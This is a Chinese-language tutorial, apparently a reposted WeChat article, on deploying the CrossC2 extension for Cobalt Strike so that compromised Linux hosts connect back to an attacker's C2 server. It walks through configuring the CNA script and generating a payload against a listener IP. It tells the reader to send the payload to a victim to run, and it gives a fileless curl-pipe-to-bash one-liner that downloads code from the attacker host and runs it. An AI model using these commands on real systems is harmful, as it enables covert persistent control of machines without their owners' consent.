Linux主机上线之CrossC2实战应用

    在多次实战攻防演练中，通过漏洞利用、口令破解等方式控制了大量内网Linux主机，其中不乏出网机器，虽说可以利用MSF、冰蝎、蚁剑、哥斯拉等方式进行多层代理控制，但是管理不便带来的问题接踵而来，不管是主机掉线还是权限持久化，都难以管理。

    工具介绍

     Cross C2是一个支持Linux 、 MacOS、windows系统的拓展插件，支持用户自定义生成的动态库，以无文件落地的方式从内存中加载执行动态库或可执行文件。目前支持cs3.14、4.0（只支持主机上线）轻松实现端口扫描，截屏，键盘记录、协议定制等。

    安装部署

1.下载crossc2 :https://github.com/gloxec/CrossC2。

2.配置c2脚本。

基础文件：

genCrossC2.Linux      >>>>>>linux攻击载荷

genCrossC2.MacOS   >>>>>>mac攻击载荷

genCrossC2.Win.exe>>>>>>windows攻击载荷

对CrossC2.cna脚本进行配置，需填写攻击载荷的据对路径，并且选择攻击载荷的类型。

3.利用cs加载刚刚修改后的CrossC2.cna脚本，加载后会在图形化显示。同时会在程序根目录生成.cobaltstrike.beacon_keys隐藏文件。

4.然后将证书文件copy到脚本同一级目录下

 cp .cobaltstrike.beacon_keys  /home/msd/桌面/cobaltstrike3.14/CrossC2/src/

5.添加端口监听，据官方介绍，目前只支持https监听。

6.然后生成payload脚本，并指定使用的key路径，避免无法找到key导致上线失败。

/genCrossC2.Linux  172.16.80.129 4431 /home/msd/cobaltstrike4.0 /CrossC2/src/.cobaltstrike.beacon_keys null Linux x64 ceshi1

7.然后发送给受害者进行点击运行。

8.进行无文件主机上线。

curl-A o -o- -L http://172.16.80.129:55413/a | bash -s

Cs4.0功能测试：

主机上线可用

文件管理可用

会话复制可用

   在测试过程中会遇到很多坑，例如下载时，下载了与cs版本不对应的CrossC2分支，哪怕后面的配置都正确，Linux主机都无法上线等问题。又例如对key的配置不当，导致Linux主机无法上线，数据却在服务器日志中不断运行等。目前经过对cobaltstrike3.14，cobaltstrike4.0，cobaltstrike4.2.8测试，仅在3.1.4是完全兼容使用。

原文始发于微信公众号（Matrix1024）：Linux主机上线之CrossC2实战应用